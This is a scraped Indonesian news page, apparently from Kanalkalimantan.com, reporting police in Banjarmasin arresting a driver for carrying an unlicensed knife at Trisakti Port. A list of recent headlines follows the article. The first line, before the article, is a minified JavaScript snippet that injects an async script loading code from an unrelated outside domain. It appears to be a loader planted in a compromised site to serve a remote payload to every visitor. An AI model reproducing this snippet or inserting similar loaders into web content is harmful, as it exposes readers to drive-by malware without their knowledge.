(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Bawa Sajam di Pelabuhan Trisakti, Sopir Asal Kotim Diamankan Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Seorang sopir HA alias DA (35) warga Kotawaringin Timur (Kotim), Provinsi Kalimantan Tengah (Kalteng) harus berhadapan dengan hukum karena kedapatan membawa senjata tajam (Sajam) di Pelabuhan Trisakti Banjarmasin.

HA diamankan petugas Polsek Kawasan Pelabuhan dan Laut (KPL) Banjarmasin karena membawa senjata penikam atau penusuk tanpa dilengkapi dengan surat izin.

Kapolsek KPL Banjarmasin Kompol Aryansyah mengatakan, pada Rabu (8/2/2023) sekitar pukul sembilan pagi pihaknya saat itu sedang melaksanakan kegiatan operasi pekat oleh anggota gabungan Polsek KPL Kanit Reskrim Polsek KPL, Iptu Bagus Syahid F.

“Personel gabungan mendapati pelaku HA itu akan masuk ke dalam truk yang dikemudikannya, tepatnya di depan pintu parkir sepeda motor terminal multipurpose Pelabuhan Trisakti,” katanya, Kamis (9/2/2023) siang.

 

Baca juga: Ditinggal Istri, Lelaki di Lamandau Coba Bunuh Diri

Saat dilakukan pemeriksaan dan penggeledahan badan HA, ditemukan senjata tajam penusuk atau senjata penikam jenis pisau. Sajam itu berganggang warna hitam dan kumpang dilakban warna hitam dengan panjang 18 cm.

Senjata tajam penusuk tersebut disimpan pelaku di dalam tasnya warna coklat merk Eiger, hingga kemudian diamankan oleh personel Polsek KPL Banjarmasin.

“Ketika ditanyakan pelaku membenarkan kalau senjata penusuk atau penikam jenis pisau tersebut diakui miliknya, kemudian HA dan barang bukti diamankan ke Mako Poslek KPL Banjarmasin untuk diperiksa lebih lanjut,” katanya.

Hasil pemeriksaan penyidik Unit Reskrim Polsek KPL, HA yang kedapatan membawa sajam tanpa izin dari pihak berwenang dapat dikenakan Pasal sebagaimana dalam sangkaan pasal 2 ayat (1) Undang-Undang Darurat Nomor 12 Tahun 1951 dengan ancaman hukuman 10 tahun penjara.

Atas penangkapan tersebut, Kapolsek KPL Banjarmasin mengimbau kepada seluruh masyarakat agar tidak membawa senjata tajam tanpa ada izin.

“Jadilah masyarakat yang selalu taat dan patuh hukum, sehingga tercipta keamanan dan ketertiban masyarakat khususnya di wilayah Pelabuhan Trisakti Banjarmasin,” tutupnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

3 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

4 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

4 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

5 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

5 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

5 jam ago

This website uses cookies.